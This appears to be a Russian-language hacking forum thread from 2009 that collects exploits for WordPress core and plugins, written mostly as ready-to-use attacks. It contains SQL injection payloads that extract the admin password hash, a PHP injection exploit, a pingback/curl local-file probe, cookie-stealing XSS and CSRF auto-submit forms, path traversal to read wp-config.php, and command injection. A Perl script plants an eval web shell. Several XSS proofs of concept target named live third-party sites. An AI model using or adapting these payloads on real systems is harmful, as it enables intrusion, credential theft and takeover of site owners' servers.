Небольшие раскопки дают понять, что фильтра "add_ping" не существует в коде движка.
Получается, что данные из первого запроса подставляются во второй запрос без какой-либо фильтрации!
А теперь о способе эксплуатации данной уязвимости. Запасись терпением :)
Чтобы использовать баг, тебе необходимо две инсталляции ВордПресса:
1. Все равно какой версии. Создай новый пост с любым тайтлом и с содержимым:

<a href="http://ВТОРОЙ_БЛОГ/?p=[НОМЕР_ПОСТА]">pingme</a>

Запомни адрес созданного поста (пусть, например, он будет http://lamer/wp1/?p=2)
2.Во втором блоге ветки 2.3.x-2.5.1 создай пост с любым содержанием и любым тайтлом, а в поле "Send trackbacks to:" пиши:

test',post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered='blah

Теперь сохраняй пост.
Снова заходи в редактирование этого поста, но теперь редактируй само его содержимое и вставляй туда ссылку в html-формате на пост из первого блога

<a href="http://lamer/wp1/?p=2">pingme</a>

Готово! Сохраняйся, переходи на страницу нашего поста и наслаждайся результатами выполнения скули в виде хеша и пароля админа :)

M4g
27.05.2009, 20:11
5. Trackback SQL Injection (2.x<=WordPress<=2.5.1?)

Вторая SQL-инъекция присутствует уже именно в механизме Трэкбэков и выглядит не так ужасно :)
Открывай файл ./wp-includes/comment.php и находи в нем такой код:

function do_trackbacks($post_id) {
...
$to_ping = get_to_ping($post_id);
...
if ( $to_ping ) {
foreach ( (array) $to_ping as $tb_ping ) {
$tb_ping = trim($tb_ping);
if ( !in_array($tb_ping, $pinged) ) {
trackback($tb_ping, $post_title, $excerpt, $post_id);
$pinged[] = $tb_ping;
} else {
$wpdb->query("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'");
}
}
}
}

Здесь снова наблюдаем такую же ситуацию: переменная $to_ping подставляется в следующий запрос без какой-либо фильтрации.
Использовать эту SQL-инъекцию очень просто:
1. Создавай новый пост, в "Send trackbacks to:" вставляй следующее:

test','')),post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,' blah

2. Сохраняй пост, заходи в редактирование вновь созданного поста и опять вставляй туда же тот же самый код;
3. Сохраняйся и наблюдай в тайтле поста логин и пароль админа :)

M4g
27.05.2009, 20:15
6. get_bookmarks SQL Injection (2.x<=WordPress<=2.7.1 #в последних версиях уязвимые функции без изменений, но "injection point" link-manager.php залатан от описанного способа#)

Не могу не поделиться с тобой еще одной забавной SQL-инъекцией, которая присутствует во всех версиях движка, начиная с 2.3.x и заканчивая последней на данный момент 2.7.1. Для использования инъекции необходимы права "manage_links".
Для теста снова возьмем WordPress 2.3.3.
Итак, открывай ./wp-admin/link-manager.php, в этом файле присутствует следующий код:

get_bookmarks( "category=$cat_id&hide_invisible=0&orderby=$sqlorderby&hide_empty=0" );

Начиная от этого кода, попробуем провести небольшой реверсинг:
./wp-includes/bookmark.php

function get_bookmarks($args = '') {
...

$r = wp_parse_args( $args, $defaults );
extract( $r, EXTR_SKIP );
...
if ( ! empty($category_name) ) {
if ( $category = get_term_by('name', $category_name, 'link_category') )
$category = $category->term_id;
}
...

./wp-includes/formatting.php

function wp_parse_args( $args, $defaults = '' ) {
if ( is_object($args) )
$r = get_object_vars($args);
else if ( is_array( $args ) )
$r =& $args;
else
wp_parse_str( $args, $r );

if ( is_array( $defaults ) )
return array_merge( $defaults, $r );
else
return $r;
}
function wp_parse_str( $string, &$array ) {
parse_str( $string, $array );
if ( get_magic_quotes_gpc() )
$array = stripslashes_deep( $array );
$array = apply_filters( 'wp_parse_str', $array );
}

./wp-includes/taxonomy.php

function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') {
...
} else if ( 'name' == $field ) {
// Assume already escaped
$field = 't.name';
...
$term = $wpdb->get_row("SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = '$taxonomy' AND $field = '$value' LIMIT 1");

На этот раз разработчики WordPress не учли, что:
1. Функция parse_str проводит свои параметры через urldecode, так что какая-либо фильтрация идет лесом (плюс wp_parse_str дополнительно проводит наши данные через stripslashes);
2. В get_bookmarks() мы сможем передать дополнительные параметры для parse_str с помощью амперсанда (%26 в urlencode).
Отсюда, как логичный вывод, следует blind sql-инъекция:

http://lamer.com/wp233/wp-admin/link-manager.php?cat_id=all%26category_name=0%2527+unio n+select+1,2,3,4,5,6,7,8,9,10+from+wp_users+where+ 1=1/*&order_by=order_url&action=Update+%C2%BB

Здесь такие условия:
а) 1=1 - ничего не отображается;
б) 1=2 - отображается список ссылок блога.

M4g
27.05.2009, 20:18
7. Подмена slug в пермалинке любого поста (1.5<=WordPress<=2.7.1)

Итак, представь, что на нужном нам блоге присутствует пост с адресом http://lamer/wp233/2009/03/20/hello-world/. Ты хочешь насолить/подшутить над админом и сделать так, чтобы этот пост имел еще и адрес вроде http://lamer/wp233/2009/03/20/this-is-a-sucker-post/. Разработчики вордпресса с радостью предоставляют тебе такую возможность! Но вот что это: баг или фича, я не знаю :)
Для начала давай детально разберем механизм постинга комментария в последней на момент написания статьи версии 2.7.1.
1. Файлик wp-comments-post.php (а также wp-trackback.php), через который проходят все комментарии имеет в себе следующий код:

$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
$comment_id = wp_new_comment( $commentdata );

2. Эту функцию мы можем легко отыскать в ./wp-includes/comment.php:

function wp_new_comment( $commentdata )
{
...
$comment_ID = wp_insert_comment($commentdata);
...
}

3. Там же проводим небольшой реверсинг:

function wp_insert_comment($commentdata)
{
...
if ( $comment_approved == 1)
wp_update_comment_count($comment_post_ID);

return $id;
}
function wp_update_comment_count($post_id, $do_deferred=false)
{
...
elseif ( $post_id ) {
return wp_update_comment_count_now($post_id);
}
}
function wp_update_comment_count_now($post_id)
{
...
do_action('edit_post', $post_id, $post);
return true;
}

4. Action edit_post определен в ./wp-includes/default-filters.php

add_action('edit_post', 'wp_check_for_changed_slugs');

5. Находим нужную нам функцию в ./wp-includes/post.php

function wp_check_for_changed_slugs($post_id) {
if ( !isset($_POST['wp-old-slug']) || !strlen($_POST['wp-old-slug']) )
...
// if we haven't added this old slug before, add it now
if ( !count($old_slugs) || !in_array($_POST['wp-old-slug'], $old_slugs) )
add_post_meta($post_id, '_wp_old_slug', $_POST['wp-old-slug']);
...
}

6. И, собственно, зачем весь этот код нам был нужен, ./wp-includes/query.php:

function wp_old_slug_redirect ()
{
...
$query = "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND meta_key = '_wp_old_slug' AND meta_value='" . $wp_query->query_vars['name'] . "'";
...
wp_redirect($link, '301'); // Permanent redirect
exit;
endif;
}

Из анализа вышеприведенного кода следует вывод: если в бд для определенного поста присутствует значение "_wp_old_slug", то по этому самому значению проводится редирект на настоящий адрес поста. Чтобы добавить это значение, твой комментарий должен быть зааппрувлен. Как оставлять комментарии без проверки модератора, ты уже знаешь по первой части статьи :) Теперь, наконец-то, готовый эксплойт для нашей шутки:

<html>
<form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
Тайтл: <input name="title" value="commenter"/><br/>
URL:<input name="url" value="http://%/la.com"/><br/>
Comment:<input name="excerpt" value=""/><br/>
Slug:<input name="wp-old-slug" value=""/><br/>
<input name="blog_name" value="Blog" /><br/>
<input type="submit" value="ok"/>
</form>
</html>

В поле "Slug" вставляй новое имя для подходящего поста и показывай ссылку админу, наблюдая за его реакцией :)

M4g
27.05.2009, 20:23
9. wp-app sql injection (2.2<=WordPress<=2.2.3)

Ну и на закуску, пропущенная всеми древняя уязвимость от Alexander Concha (зато уязвимая функция и сейчас присутствует в вордпрессе без изменений :)
1. ./wp-includes/atomlib.php

function xml_escape($string)
{
return str_replace(array('&','"',"'",'<','>'),
array('&','"',''','<','>'),
$string );
}

2. Эксплойт с правами edit_posts

<?php
$site='lamer.com';
$path='/wp223/wp-app.php?action=/post/1'; //тут айди поста
$user='editor'; //логин на блоге
$passwd='editor'; //пароль на блоге

$auth=base64_encode($user.":".$passwd);
$fp = fsockopen($site, 80, $errno, $errstr, 30);
$data='<feed>
<entry>
<id>http://lamer.com/wp223/2009/03/01/hello-world/</id>
<title type="html">test\</title>
<summary type="html">,post_name=(select concat(user_login,0x3a,user_pass) from wp_users where ID=1) where id=1/*</summary>
</entry>
</feed>';

$out = "PUT $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-Type: application/atom+xml\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Authorization: Basic $auth\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";
fwrite($fp, $out.$data);
fclose($fp);
?>

M4g
27.05.2009, 20:51
8. WordPress curl information disclosure (2.7<=WordPress<=2.7.1)

Представляю твоему вниманию очередную уязвимость WordPress (найденную не без помощи Электа), которая заключается в проверке существования любого файла на уязвимом блоге. Подвержены все версии движка, начиная с 2.7.
Для начала нужно сказать, что это не совсем уязвимость вордпресса, а, скорее, фича curl, php-библиотеку которого как раз и юзает WordPress вместо ушедшего в небытие Snoopy.
Итак, уязвимость курла заключается в том, что он с радостью может прочитать для тебя не только удаленные файлы по http, но и локальные с помощью префикса "file://"! Но, как правило, префиксы проверяются скриптами еще на входе, так что, казалось бы, "file://" заюзать невозможно. Однако, никто не подумал о том, что curl поддерживает переадресацию с помощью флага "CURLOPT_FOLLOWLOCATION". То есть, подставив курлу вполне обычный http, на выходе мы можем получить чтение произвольного локального файла (подробное advisory от первооткрывателя ищи в сносках)! В вордпрессе множество файлов юзают класс ./wp-includes/http.php, но сейчас мы рассмотрим лишь один из наиболее доступнных pre-auth способов эксплуатациии баги (найти другие способы в админке - твое домашнее задание :)
Для начала рассмотрим некоторые особенно важные для эксплуатации бага куски кода в последней версии вордпресса (2.7.1):
1. ./wp-includes/http.php

class WP_Http_Curl {
function request($url, $args = array()) {
if ( !ini_get('safe_mode') && !ini_get('open_basedir') )
curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true );

Да-да! Ты видишь тот самый флаг, отвечающий за поддержку редиректа!
Дальше опустим некоторый заумный код, но скажу лишь, что по дефолту (всего возможны 4 варианта) в качестве транспорта http данных вордпресс выбирает курл:

function wp_remote_get($url, $args = array()) {
$objFetchSite = _wp_http_get_object();

return $objFetchSite->get($url, $args);
}

2. Функция, приведенная выше, используется в ./wp-includes/functions.php:

function wp_remote_fopen( $uri ) {
...
$response = wp_remote_get( $uri, $options );
...
}

3. И, наконец, эта же функция используется в уже полюбившемся тебе интерфейсе xmlrpc:

function pingback_ping($args) {
...
$pagelinkedfrom = $args[0];
$pagelinkedto = $args[1];
...
// Let's check the remote site
$linea = wp_remote_fopen( $pagelinkedfrom );
...

Теперь у нас есть все необходимое для написания эксплойта, к чему мы сейчас и приступим :)
Как ты уже понял, действовать мы будем через механизм пингбэков, про который я уже неоднократно рассказывал в предыдущих номерах ][.
Для работы нам понадобятся 2 файла, доступных по http. Например, такие: http://lamer.com/ping1/index.php и http://lamer.com/ping2/index.php.
А теперь, предположив, что адрес нашего блога lamer.com/blog и что тестовым стендом является винда, начнем работу над необходимыми файлами:
1. ./ping1/index.php

<?php
header("<title>Exploit</title><a href="http://lamer.com/ping2/?p=1#lamer.com/blog">Curl</a>");
header("Location: file:///c:\boot.ini", 302);
?>

2. ./ping2/index.php

<a href="http://lamer.com/ping1/?p=2">Ping2</a>

В этом примере первый файл сможет пропинговать второй благодаря еще одной недоработке вордпресса. Смотри в механизм пингов xmlrpc.php:

// Check if the page linked to is in our site
$pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
if( !$pos1 )
return new IXR_Error(0, __('Is there no link to us?'));

В этой проверке не нужно, чтобы второй пингуемый сайт обязательно был текущим блогом, так как мы можем обойти проверку, вставив адрес этого самого блога, например, в конце URL после решетки.
Теперь у нас все готово для проверки наличия файла c:\boot.ini на тестируемой системе :)
Для эксплуатации уязвимости тебе необходимо лишь послать следующий POST-пакет для сервера xmlrpc:

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://lamer.com/ping1/?p=2</string></value></param>
<param><value><string>http://lamer.com/ping2/?p=[ИД_СУЩЕСТВУЮЩЕГО_ПОСТА_НА_Б ЛОГЕ]#lamer.com/blog</string></value></param>
</params>
</methodCall>

После отсылки пакета ты сможешь получить 2 ответа от сервера:
1. Если файл c:\boot.ini существует, то блог пришлет такой ответ

Pingback from http://lamer.com/ping1/?p=2 to http://lamer.com/ping2/?p=1#lamer.com/blog registered. Keep the web talking! :-)

2. Если же такого файла нет, то жди такого ответа

The source URL does not exist.

Кстати, этим способом вполне было бы возможно прочитать содержимого любого файла системы, если бы пингбэк не урезался до очень малого количества символов. Так что в комментарии-пингбэке ты увидишь всего лишь что-то вроде этого:

[...] Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 popa: 111 Location: file:///c:boot.ini Content-Length: 0 Connection: close Content-Type: text/html; [...]

Содержимое c:\boot.ini остается где-то под катом :)
Описанный способ эксплуатации данной уязвимости не является единственным. В админке ты сможешь найти и другие вызовы функции wp_get_http(), которые и позволят тебе читать файлы на системе. Найти их - уже твоя задача :)

----
З.Ы. Спасибо Elekt за то, что навел меня на эту уязвимость)
З.З.Ы. На сегодняшний день в WordPress 2.7.1-2.8beta2, кроме описанных выше, есть еще, по крайней мере, 2 серьезнейшие 0day уязвимости)

oRb
16.06.2009, 11:34
WPML Multilingual CMS
Version: 1.0.0
Last Updated: 2009-6-9
Downloads: 9,424
XSS (PoC)
<div style="display:none;">
<form action='http://wordpress/wp-content/plugins/sitepress-multilingual-cms/ajax.php?icl_ajx_action=set_default_language' method='post' target="ifr" name="xfrm">
<input name="lang" type="text" value="<script>alert(document.cookie)</script>" />
<input type='submit'>
</form>
<iframe src="" name="ifr" width="1" height="1"></iframe>
<script>
document.xfrm.submit();
document.xfrm.lang.value="en";
setTimeout('document.xfrm.submit()', 1000);
</script>
</div>
PHPINFO
http://wordpress/wp-content/plugins/sitepress-multilingual-cms/inc/php-version-check.php?icl_phpinfo=1
XSS (register_globals = On)
http://wordpress/wp-content/plugins/sitepress-multilingual-cms/menu/language-selector.php?w_this_lang[code]="><script>alert(document.cookie)</script>
http://wordpress/wp-content/plugins/sitepress-multilingual-cms/modules/absolute-links/management-page.php?total_posts_pages="><script>alert(document.cookie)</script>

oRb
16.06.2009, 12:17
UnGallery
Version: 0.8
Updated: 2009-6-11
Downloads: 226
Remote File Disclosure
if ($_GET['pic']) {
$filename = $_GET['pic'];
$len = filesize($filename);
$lastslash = strrpos($filename, "/");
$name = substr($filename, $lastslash + 1);

header("Content-type: image/jpeg;\r\n");
header("Content-Length: $len;\r\n");
header("Content-Transfer-Encoding: binary;\r\n");
header('Content-Disposition: inline; filename="'.$name.'"'); // Render the photo inline.
readfile($filename);
}
$ curl http://wordpress/wp-content/plugins/ungallery/source.php?pic=../../../wp-config.php
Shell Command Execution
$dir = "wp-content/plugins/ungallery/pics/" . $_GET['zip'];

// Create the arrays with the dir's image files
$dp = opendir($dir);
while ($filename = readdir($dp)) {
if (!is_dir($dir."/pics/".$gallery. "/". $filename)) { // If it's a file, begin
$pic_types = array("JPG", "jpg", "GIF", "gif", "PNG", "png");
if (in_array(substr($filename, -3), $pic_types)) $pic_array[] = $filename; // If it's a image, add it to pic array
}
}
foreach ($pic_array as $filename) {
$media_files = $media_files . " " . $dir . "/" . $filename;
}

$output = `zip -u -j $dir/pics.zip $media_files`;

print "<pre>$output</pre>";
print 'Complete. The file can be downloaded <a href="./wp-content/plugins/ungallery/source.php?zip=pics/' . $_GET['zip'] . '/pics.zip">here</a>';
print '<br><br>You can return to the gallery <a href="./gallery?gallerylink=' . $_GET['zip'] .'">here.</a>';
http://wordpress/wp-content/plugins/ungallery/zip.php?zip=non_existing_dir+non_existing_file;ls; pwd;
ps: Тут же можно провернуть XSS

oRb
16.06.2009, 13:12
Mood Personalizer
Version: 1.1
Last Updated: 2009-6-11
Downloads: 453
XSS/XSRF
<form action='http://wordpress/wp-admin/options-general.php?page=mood-personalizer/mood-personalizer.php' method='post' name="xfrm">
<input name="xMPPic" type="text" value='"><script>alert(document.cookie)</script>' />
<input name="xMPHidd" type="text" value='xMPHidd' />
<input type='submit'>
</form>
<script>document.xfrm.submit();</script>
if($_POST['xMPHidd']=="xMPHidd"){
$xMPPicture = $_POST['xMPPic'];
$xMPPictureSize = $_POST['xMPPictureSize'];
$xMPPicture = str_replace(".2",".".$xMPPictureSize,$xMPPicture);
update_option('xMPPic', $xMPPicture);
}
<img src="<?php bloginfo('url'); ?>/wp-content/plugins/mood-personalizer/images/<?php echo get_option('xMPPic');?>" alt="Mood Personalizer mood image"/>
Если виджет вынесен на сайдбар, то получится активка на морде.

swt1
16.06.2009, 17:47
WordPress Plugin Photoracer 1.0 (id) SQL Injection Vulnerability

Wordpress Photoracer Plugin => SQL injection
http://wordpress.org/extend/plugins/photoracer/

Author: Kacper
Website: http://devilteam.pl/

Pozdrawiam wszystkich z huba dc++, oraz wszystkich z forum,

Pozdro: Ratman, Kopaczka, FDJ

Elo: dla GLOBUSa za pomoc w crackowaniu hasel.

Vuln:
http://site.pl/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,user(),6,7,8--

big thanks str0ke for you!

be safe all :)

# milw0rm.com [2009-06-15]

eLWAux
30.06.2009, 19:08
WordPress Plugin Advanced Twitter Widget 1.0.2 XSS Vuln

http://wordpress.org/extend/plugins/advanced-twitter-widget/
\advanced-twitter-widget.php

(c)eLwaux 30.06.2009, uasc.org.ua


89: if($_POST['advanced_twitter_widget_value']!=""){
90: $xArrOptions[0]= $_POST['advanced_twitter_widget_title'];
91: $xArrOptions[1]= $_POST['advanced_twitter_widget_value'];
92: $xArrOptions[2]= $_POST['advanced_twitter_widget_type'];
93: $xArrOptions[3]= $_POST['advanced_twitter_widget_count'];
94: update_option('advanced_twitter_widget_options', serialize($xArrOptions));
95: }
97: $xArrOptions = unserialize(get_option('advanced_twitter_widget_op tions'));
101: $xTitle = $xArrOptions[0];
102: $xValue = $xArrOptions[1];
103: $xType = $xArrOptions[2];
104: $xCount = $xArrOptions[3];
111: Title:<br/><input type="text" name="advanced_twitter_widget_title" value="<?php echo $xTitle;?>" /><br/><br/>
112: Account/Search:<br/><input type="text" name="advanced_twitter_widget_value" value="<?php echo $xValue;?>" /><br/><br/>

exploit:
POST: advanced_twitter_widget_value=">{XSS1}<a "
POST: advanced_twitter_widget_title=">{XSS2}<a "
POST: advanced_twitter_widget_type=.
POST: advanced_twitter_widget_count=.

eLWAux
30.06.2009, 19:09
WordPress Plugin ImHuman 0.0.9 XSS Vuln

http://wordpress.org/extend/plugins/imhuman-a-humanized-captcha/
\imhuman.php

(c)eLwaux 30.06.2009, uasc.org.ua


151: if(isset( $_POST['do'] )) {
152: if ( function_exists('current_user_can') && !current_user_can('manage_options') )
153: die(__('Cheatin’ uh?'));
154: check_admin_referer($plugin_page);
155:
156: $t['imhuman_api_user'] = $_POST['imhuman_api_user'];
157: $t['imhuman_api_key'] = $_POST['imhuman_api_key'];
158: $t['imhuman_row'] = $_POST['imhuman_row'];
159: $t['imhuman_col'] = $_POST['imhuman_col'];
160: $t['imhuman_sel'] = $_POST['imhuman_sel'];
161: $t['imhuman_exc'] = isset($_POST['imhuman_exc'] ) ? 1 : 0;
162: $t['imhuman_word'] = $_POST['imhuman_word'];
163: $t['imhuman_lang'] = $_POST['imhuman_lang'];
164: update_option( 'imhuman_options', $t );
165: $m = '<p>Settings Saved!</p>';
166: }
167: $options = get_option( 'imhuman_options' );
....
194: <td><input type="text" name="imhuman_api_user" id="imhuman_api_user" value="<?php echo $options['imhuman_api_user']; ?>" /></td>
195: </tr>
196: <tr>
197: <th><?php _e('ImHuman Ap? Key'); ?></th>
198: <td><input type="text" name="imhuman_api_key" id="imhuman_api_key" value="<?php echo $options['imhuman_api_key']; ?>" /></td>


exploit:
POST: do=.
POST: imhuman_api_user=">{XSS1}<a "
POST: imhuman_api_key=">{XSS1}<a "
POST: imhuman_row=.
POST: imhuman_col=.
POST: imhuman_sel=.
POST: imhuman_word=.
POST: imhuman_lang=.

eLWAux
30.06.2009, 22:48
WordPress Plugin <Live Countdown Timer 1.1> aXSS Vuln
WordPress Plugin <Live Countdown Timer 1.1> aXSS Vuln
http://www.appchain.com/2009/06/live-countdown-timer-1-1/

(c)eLwaux 30.06.2009, uasc.org.ua


## ## ## ## ## ##

aXSS
\live-countdown-timer\live-countdown-timer.php

-----------------------------------------------------------------------------
142: $xPostArr[0] = $_POST['live_countdown_timer_Title'];
147: update_option('live_countdown_timer_Values', serialize($xPostArr));
....
149: $xDBArr = unserialize(get_option('live_countdown_timer_Value s'));
150: $live_countdown_timer_Title = $xDBArr[0];
169: <input type="tex...le" value="<?php echo $live_countdown_timer_Title;?>" />
-----------------------------------------------------------------------------

exploit:
POST: live_countdown_timer_days = .
POST: live_countdown_timer_Title = ">{aXSS}<div id="
POST: live_countdown_timer_seconds = 12
POST: live_countdown_timer_hours = 11
POST: live_countdown_timer_days = 10

eLWAux
30.06.2009, 22:50
WordPress Plugin <simple-sidebar-navigation 2.1.0> aXSS Vuln
WordPress Plugin <simple-sidebar-navigation 2.1.0> aXSS Vuln

(c)eLwaux 30.06.2009, uasc.org.ua


## ## ## ## ## ##

aXSS
/simple-sidebar-navigation/settings/settings.php

-----------------------------------------------------------------------------
10: if (isset($_POST['ssn_submit'])):
11: update_option('dropdown_css', $_POST['dropdown_css']);
12: update_option('custom_css', $_POST['custom_css']);
13: update_option('blog_post_links', $_POST['blog_post_links']);
14: update_option('target_attr', $_POST['target_attr']);
...
57: <td><input type="text" name="custom_css" size="100" value="<?php echo $custom_css; ?>">
-----------------------------------------------------------------------------

exploit:
POST: ssn_submit = .
POST: dropdown_css = .
POST: custom_css = ">{XSS}<div id="
POST: blog_post_links = .
POST: target_attr = .

eLWAux
02.07.2009, 21:36
WordPress Plugin Wordpress Toolbar 2.1.1 pXSS & PDisclosure
WordPress Plugin Wordpress Toolbar 2.1.1 pXSS & PDisclosure
http://wordpress.org/extend/plugins/wordpress-toolbar/
http://abhinavsingh.com/blog/2009/02/wordpress-toolbar-plugin/

Dork: "inurl:wp-toolbar.php"

## ## ## ##

eLwaux(c)2009 UASC.org.ua

## ## ## ##

Path Disclosure

/wp-content/plugins/wordpress-toolbar/wp-toolbar.php
( call to undefined function add_action() )
-----------------------------------------------------------------
1: <?php
12: include_once("socialsites.php");
14: add_action('admin_menu','wordpress_toolbar_admin') ;
-----------------------------------------------------------------

example:
http://www.watblog.com/wp-content/plugins/wordpress-toolbar/wp-toolbar.php
http://www.maktabe.com/wp-content/plugins/wordpress-toolbar/wp-toolbar.php
http://helenoticias.com/wp-content/plugins/wordpress-toolbar/wp-toolbar.php
http://seattlesocialmedia.com/wp-content/plugins/wordpress-toolbar/wp-toolbar.php


## ## ## ##

XSS

/wp-content/plugins/wordpress-toolbar/toolbar.php
-----------------------------------------------------------------
30: $tourl = $_GET['wp-toolbar-tourl'];
42: $blogtitle = $_GET['wp-toolbar-blogtitle'];
52: <title><?php echo $blogtitle; ?> - Toolbar</title>
56: <iframe frameborder="0" noresize="noresize" src="<?php echo $tourl; ?>"
-----------------------------------------------------------------

PoC:
wordpress.site/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-blogtitle=</title>{XSS}
wordpress.site/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-tourl=">{XSS}<div id="

example:
http://www.alymelfashionfusion.com/Blog/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-blogtitle=</title><script>alert(/xss/);</script>
http://www.pclinuxos.hu/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-blogtitle=</title><script>alert(/xss/);</script>
http://www.watblog.com/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-tourl="><script>alert(/xss2/);</script><div%20id="

M4g
02.07.2009, 21:56
Path Disclosure

/wp-content/plugins/wordpress-toolbar/wp-toolbar.php
( call to undefined function add_action() )
-----------------------------------------------------------------
1: <?php
12: include_once("socialsites.php");
14: add_action('admin_menu','wordpress_toolbar_admin') ;
-----------------------------------------------------------------

example:
http://www.watblog.com/wp-content/plugins/wordpress-toolbar/wp-toolbar.php
такое не стоит публиковать, ибо это практически в каждом плагине и инклуд файле вордпресса ;D

eLWAux
15.07.2009, 19:54
Wordpress plugin Add UROK.su Catalog < 1.03 Code Execution Exploit
надо логин:пароль админа :D

Wordpress plugin Add UROK.su Catalog < 1.03 Code Execution Exploit
------------
http://wordpress.org/extend/plugins/add-uroksu-catalog/
Add UROK.su Catalog
Version: 1.03
------------

\wp-content\plugins\add-uroksu-catalog\urok.su.class.php
----------------------------------------------------------------------
|56| if (isset($_POST['UPDATE'])) {
|57| MyUROKsu_user=$_REQUEST['login'];
|58| $file_name=$file_name=dirname(__FILE__).'/login.txt';
|59| $w=fopen($file_name,'w');
|60| fwrite($w,$MyUROKsu_user);
|61| fclose($w);
|62| print($this->update_catalog($MyUROKsu_user));
|63| echo '</p>';
|64| }
----------------------------------------------------------------------

Steps to code execution:
1) /wp-admin/options-general.php?page=urok_su_wp/urok_su_wp.php
POST: UPDATE=.& login=<?php=@eval($_GET['c']);?>
(your code will be saved to file:
/wp-content/plugins/add-uroksu-catalog/login.txt)
2) include this file & code execute:
/wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c=system('id');

perl exploit:
----------------------------------------------------------------------
#! /usr/bin/perl -w

use LWP::UserAgent;
use warnings;

print "\n WP ] add-uroksu-catalog < 1.03 [ exploit\n";
print " eLwaux(c)uasc 2009\n\n";

if (!$ARGV[2]) {
print " usage:\n".
" expl.pl http://site.com/wp/index.php adminLogin adminPass\n".
exit(0);
}

my $mHost = $ARGV[0];
my $mAdmL = $ARGV[1];
my $mAdmP = $ARGV[2];

#$mAdmL =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
#$mAdmP =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;

my $HOST = $1 if ($mHost =~ /http:\/\/(.+?)\//);

my $UA = LWP::UserAgent->new;
$UA->timeout(20);
$UA->default_header('Referer' => $mHost.'wp-login.php');
$UA->default_header('Cookie' => 'wordpress_test_cookie=WP+Cookie+check;');

# login to WP
my $page = $UA->post($mHost.'wp-login.php',
{
log => $mAdmL,
pwd => $mAdmP,
# rememberme => 'forever',
submit => 'Войти',
redirect_to => $mHost.'wp-admin/',
testcookie => 1
}
)->as_string;
my $cookie = '';
my @SetCookie = ($page =~ m/Set-Cookie: (.+?=.+?);/g);
foreach my $SC (@SetCookie) {
$cookie .= $SC.';';
}
if (length($cookie)<100) {
print ' - bad login:password!';
exit(0);
}
print ' - good login:password!'."\n";
$UA->default_header('Cookie' => $cookie);


print ' .. sending exploit..'."\n";
# send EXPLOIT
$page = $UA->post($mHost.'wp-admin/options-general.php?page=urok_su_wp/urok_su_wp.php',
{
login => '<?php @eval($_GET[\'c\']);?>',
UPDATE => 1
}
)->as_string;
print ' + exploit send!'."\n";

# try execute simple code
$page = $UA->get($mHost.'wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c=print_r($_SERVER);')->as_string;
if ($page =~ /\[SERVER_SOFTWARE\] => (.+?)[\r\n]+/) {
print ' + result of test1: '.$1."\n";
print ' + result of test2: '.$1."\n" if ($page =~ /\[SCRIPT_FILENAME\] => (.+?)[\r\n]+/);
} else {
print ' - perhaps code is not injected!'."\n";
}

print ' ! FINISH!'."\n\n";
print ' !! your shell:'."\n";
print ' '.$mHost."\n".
' '.'wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c={eViLcOdE}'."\n";

exit(0);
----------------------------------------------------------------------



simple result on localhost:
----------------------------------------------------------------------
> expl.pl http://localhost/cms/wordpress/ admin "4#@!v^w!*)kW"

WP ] add-uroksu-catalog < 1.03 [ exploit
eLwaux(c)uasc 2009

- good login:password!
.. sending exploit..
+ exploit send!
+ result of test1: Apache/2.2.11 (Win32) PHP/5.2.9-2
+ result of test2: C:/wamp/www/cms/wordpress/wp-admin/admin.php
! FINISH!

!! your shell:
http://localhost/cms/wordpress/
wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c={eViLcOdE}
----------------------------------------------------------------------

[underwater]
22.07.2009, 16:28
XSS [Все версии]
Сегодня было опубликована ксс, работает вплоть до текущей версии включительно.

http://www.site.com’onmousemove=’location.href=String .fromCharCode(104,116,116,112,58,47,47,119,119,119 ,46,118,117,108,46,107,114,47,63,112,61,53,54,57);

Для устранения в файле wp-comments-post.php ~40 строку изменяем:
$comment_author_url = str_replace(chr(39),”,$comment_author_url);
$comment_author_url = str_replace(chr(59),”,$comment_author_url);
$comment_author_url = str_replace(chr(44),”,$comment_author_url);

Solide Snake
27.07.2009, 10:32
This can be used to hack 2.8.1 through Remote XSS.

echo "wp281.quickprz // iso^kpsbr"

SITE=$1
COMMENT=$2
MESSAGE="h4x0riZed by the superfreakaz0rz"

if [ "X$SITE" = "X" ]; then
echo "$0 <url> [postID]"
echo "f.e. $0 www.worstpress.eu"
exit
fi

if [ "X$POSTID" = "X" ]; then
POSTID=1
fi


echo "[+] building payload"

WHERE="title" # can also be 'content'
PATH="$SITE/wp-comments-post.php"

WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`
